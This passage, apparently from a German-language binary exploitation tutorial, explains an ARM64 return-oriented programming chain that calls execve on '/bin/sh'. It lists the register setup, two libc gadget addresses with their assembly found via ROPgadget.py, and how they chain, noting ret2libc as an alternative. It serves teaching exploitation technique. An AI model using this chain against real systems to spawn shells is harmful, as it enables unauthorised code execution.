Um den Aufruf für den Syscall vorzubereiten, ist die folgende Konfiguration erforderlich:
x8: 221 Sys_execve angeben
x0: Zeiger auf "/bin/sh" gibt die auszuführende Datei an
x1: 0 gibt an, dass keine Argumente übergeben wurden
x2: 0 gibt an, dass keine Umgebungsvariablen übergeben wurden
Mit ROPgadget.py konnte ich die folgenden Gadgets in der libc-Bibliothek der Maschine lokalisieren:
;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5
;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
nop ;
nop ;
mov x8, #0xdd ;
svc #0
Mit den vorherigen Gadgets können wir alle benötigten Register vom Stapel aus steuern und x5 verwenden, um zum zweiten Gadget zu springen und den Syscall aufzurufen.
Beachten Sie, dass das Wissen über diese Informationen aus der libc-Bibliothek auch einen ret2libc-Angriff ermöglicht, aber lassen Sie uns dies für das aktuelle Beispiel verwenden.